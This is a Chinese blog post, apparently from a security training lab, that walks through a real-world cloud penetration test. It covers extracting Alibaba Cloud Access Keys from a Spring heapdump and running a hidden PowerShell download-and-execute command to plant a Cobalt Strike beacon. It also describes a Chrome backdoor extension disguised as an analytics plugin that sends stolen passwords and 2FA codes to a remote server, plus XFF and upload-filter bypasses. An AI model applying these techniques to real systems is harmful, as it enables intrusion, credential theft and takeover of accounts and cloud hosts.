记一次实战云渗透总结

点击星标,即时接收最新推文

fd88074877410b7ea0b202db660cb60b.png

云渗透思路

所谓的云渗透通常指SaaS或PaaS渗透,即将服务器端的某些服务搭建在云服务器上,源代码的开发、升级、维护等工作都由提供方进行。从原理上看,云渗透思路与传统渗透思路相差无几。站点必须由底层环境及源代码共同构建,因此会存在常规的Web漏洞(如SQL注入、弱口令、文件上传漏洞、网站备份泄露等)。但由于服务器上云或其部分功能模块被部署在云上,站点也可能对云服务器进行请求,所以除了常规的Web漏洞,新技术也会带来新的风险(如Access Key泄露利用、配置不当利用等问题)。

首先,需要了解何为Access Key。Access Key由云服务商颁发给云服务器的所有者,Access Key即所有者身份的证明。Access Key通常分为Access Key ID和Access Key Secret两个部分。当调用云服务器的某些API接口、某些服务或某些功能点时,可能需要使用Access Key对身份进行认证。因此,如果能获取对应云服务器的Access Key,就可以通过对应的Access Key完成身份认证,进而接管该云服务器。当然,每个云服务商为Access Key分配的权限不同,Access Key泄露可能造成的危害也不同。例如,阿里云为云服务器提供的Access Key是root用户,权限较大,能直接控制ECS;而AWS为云服务器提供的Access Key有限制,有些则是S3或者EC2,但并不一定都拥有上传或修改的权限。除此之外,对于常规渗透泄露出来的Access Key,可以通过特殊手段利用其获取目标镜像,还原VMware虚拟机或通过DiskGinus查看文件。

因此,在进行云环境渗透时,与常规渗透不同,攻击者将更关注是否存在敏感信息、Access Key泄露的情况,其他的渗透测试流程不变。首先,进行资产信息搜集(包括子域名查找、端口扫描、目录扫描、指纹识别等),在查找的过程中留意Access Key等密钥,它可能会在APK文件、GitHub仓库、Web页面、API接口、JavaScript文件、常规配置文件中出现,也可以使用FOFA、ZoomEye、Hunter等网络空间搜索引擎对Access Key等关键词进行查找。如果是AWS的云产品,还可以通过DNS缓存、buckets.grayhatwarfare查找。

当测试者发现Access Key后,通过行云管家、OSS Browser、API Explorer、AWS CLI等云服务器管理工具进行连接。

实战云渗透

1. RDS

关系数据库服务(Relational Database Service,RDS)是一种稳定可靠、可弹性伸缩的在线数据库服务。

RDS采用即开即用的方式,兼容MySQL、SQL Server两种关系数据库,并提供数据库在线扩容、备份回滚、性能监测及分析等功能。

RDS与云服务器搭配使用,可使I/O性能倍增,内网互通,避免网络瓶颈。

2. OSS

对象存储服务(Object Storage Service,OSS)是阿里云对外提供的海量、安全和高可靠的云存储服务。

3. ECS

云服务器(Elastic Compute Service,ECS)与传统数据中心机房的服务器相似,不同的是,云服务器部署在云端,由云服务商直接提供底层硬件环境,不需要人为采购设备。

4. 安全组

安全组是一种虚拟防火墙,具备状态检测和数据包过滤功能,用于在云端划分安全域。同一安全组内的ECS实例之间默认内网互通。

1. Spring敏感信息泄露

收集信息时,发现目标对应的三级子域名存在spring的接口未授权访问,在 /actuator/env下发现多个密码,且其中存在阿里云的Access Key,故尝试调用heapdump接口,下载内存,提取密文,如图所示。

caf04f59321d94e81ff79e6423820734.png

下载成功后,使用MemoryAnalyzer搜索转存下来的内存文件,获取阿里云的 Access Key密文,如图所示。

f8be81cf633e9e0095fd8d4519f9e526.png

f10ceacbaea83c4dfc2633ec2ea8f927.png

在dump的内存文件中还获取了一些内网的Redis和MySQL明文密码,后续如有需要可以使用,如图所示。

846cade1d3c892935b422debf1ac141c.png

2. 阿里云 Access Key命令执行

拿到阿里云的Access Key后,先查看是否存在云服务器,再查看是否存在存储桶。如图所示,这个Access Key对应的主机有十几台。

08c77c73ef639d7c411d137c24a99898.png

将所有存在的主机导出到文本中,并挑选重要的主机为测试目标,最后发现当前的 Access Key分配云服务器应该是测试网络的机器。因为存在多台测试服务器,所以并没有直接部署目标生产网应用服务相关的主机。但目标中有一台主机名为“xxx-跳板机”,名字极其敏感,我们判断它是目标管理人员对生成网系统进行管理的服务器,如图所示。

38ff231af3e070064e348ccbe6e9b101.png

于是打算先从这台主机开始测试,使用Cobalt Strike进行上线探测,命令如下:

Python AKSKTools.py –ak AccesskeyID –sk AccessKeySecret –r City –t RunBatScript –C "powershell.exe –nop –w hidden –c \"IEX((new-object new.webclient).downloadstring ('url'))\""

命令的截图如图所示。

c8db68fc6b209a8dc0d63ecd860aa648.png

最后成功上线,如图所示。

e8bd2e7cf8331d1ec0fb8b58449c762b.png

如图所示,该机器中存在多个管理账号,和最初的猜想一致。

52bbb7982e4cbf5e0f6a3c7d8a14f2e9.png

对该主机进行信息收集,获取到与账号对应的明文密码,还获取了部分信息:3389端口对外开放,当前用户只有admin1有进程;发现admin1使用Chrome打开了目标后台,并且浏览器记录了后台账号和密码(密码是123456),但后台有谷歌验证码(即双因素认证),所以即便有密码也无法登录,如图所示。

ea9e9171c22c0fb7236757e3ba72bdbb.png

后台是另一个域名,后台服务器也不在当前Key中,公网可以访问。在公网登录时,提示IP地址不在白名单内,不过修改XFF即可绕过,如图所示。

989422aaf5c239575ea4ed9120294882.png

019c7adeb45c5f5cb7d05b04b776b554.png

3. 使用阿里云Access Key开放防火墙

使用RDP协议远程连接3389端口,以查看浏览器记录和其他可能保存的密码,但是连接失败,原因大概率是配置了防火墙,并且只允许特定的出口IP地址访问此台服务器的3389端口(如图所示),所以弱口令问题泛滥。

a4b8c8c47e3d76670e2bbb7cd6c2bddd.png

收集特定的出口IP地址,并添加一条防火墙规则,让3389端口对跳板机开放,如图所示。

62abf4fa65ca595f0d9da76e53c63f02.png

使用完成后删除对应规则,如图所示。

c1c888a6bdaea2010175e7d2290e5be6.png

4. 编写Chrome后门插件,获取验证码

关键问题仍然在于需要获取谷歌验证码。可以利用谷歌验证码在一分钟内有效的特性,写一个Chrome后门插件,并将其伪装成最常用的百度统计或谷歌插件,利用它监控表单,窃取验证码,如图所示。

65832621f903868759c8b90a818cdb31.png

当事件被触发时,就将账号密码和验证码发送到远程服务器上,服务器等待接收即可。在目标电脑中打开开发者模式,载入刚刚写好的Chrome后门插件,如图所示。

aee8ca30fe1ea7e7a9f7c69b0bf3461a.png

前台登录测试,不管是单击“登录”按钮还是按回车键登录,都能获取三个值的信息,如图所示。

61384264d2550e737643dce89d6622df.png

隐藏对应插件,如图所示。

d5e0e0e41a74f83b3e5c3469c84698b9.png

修改插件,将这三个值发送到服务器上,然后存储到文件中,如图所示。

2de7e615f3ed5582b2ce56a043ba097b.png

编写PHP代码,并用其接收对应的参数,代码如图所示。

679f3ce7a785212d7e582db7730dad22.png

info.txt是日志记录,login.txt是方便程序调用的文件,如图所示。

6ca5f5c5d2082018656da5fba55036f0.png

5. 使用Selenium维持会话

后门配置成功后,次日便有账号进行登录操作。但由于其权限较低,且登录时间不固定,所以错过了登录后台的机会。

于是使用Selenium进行会话维持。之所以使用Selenium,是因为站点登录发送的数据包每次都会有随机的token和sign验证,无法重放,计算sign的JavaScript又使用了不可逆的JavaScript加密,所以直接使用Selenium最方便。当login.txt中出现新的账号和密码时,使用Selenium打开浏览器,并模拟用户输入账号、密码和谷歌验证码进行登录。若登录成功,则3秒刷新一次以维持权限,并导出Cookie发送邮件通知;否则退出浏览器,如图所示。

d44d8762ad4b0a74634c364a575d8470.png

通过努力又获得其他的账号,但权限较低,且进行增删改操作时都要二次验证。不过,既然需要如此频繁地使用验证码,那么不妨大胆猜测其他站点或资源也会频繁使用验证码。于是再次修改Chrome后门,劫持所有单击“登录”按钮或按回车键提交的表单数据,遍历数据寻找六位数的值来获取当前用户输入的谷歌验证码;再利用验证码添加用户。通过该后门,获取了用户账号的使用权限,并通过脚本自动添加了新的管理员,如图所示。

86ea44369bf4d4b81b23f4568a800b7e.png

6. 上传绕过的思路

针对已有的账号权限对站点进行简单测试,在发布公告处存在“任意文件上传+黑名单”过滤,检测到后缀为php则删除,如图所示。

上传           结果
     1.php     >      1.
    1.pphp     >      1.p
  1.pphphphpp  >     1.php

001bc13b79aad992eb8e946de6906769.png

7. 结束

测试者使用了很多技巧,如Spring读取星号密文、阿里云Access Key操作(读取示例、执行示例命令、添加策略)、谷歌插件编写、Selenium的使用。在渗透测试的过程中,技法永远不会那么单调

—  实验室旗下直播培训课程  —

c46cd0a11f835498b2f839200fd81b2f.png

5b2e2fe61ecafea28b7172fcae3bcebc.jpeg

e5f0e7a431ffc1ee41f9939e2c712cfa.jpeg8e234c69e1541e11c473c0cd673007e7.png

4db69ee6d5ce37c8ce71957cfdbb5a79.png

3cf92b0cc66a465b596213964d02764d.jpeg

94c01bfd912597df53b15c4948c04bff.jpeg

3847ef8daa5349a0cbabffd89b7e48c3.jpeg

79c387c3e4f1524ac0a1cc08a2298e77.png

和20000+位同学加入MS08067一起学习

607fc68102953f4cfb65b2d8a51c354a.gif

  • 18
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值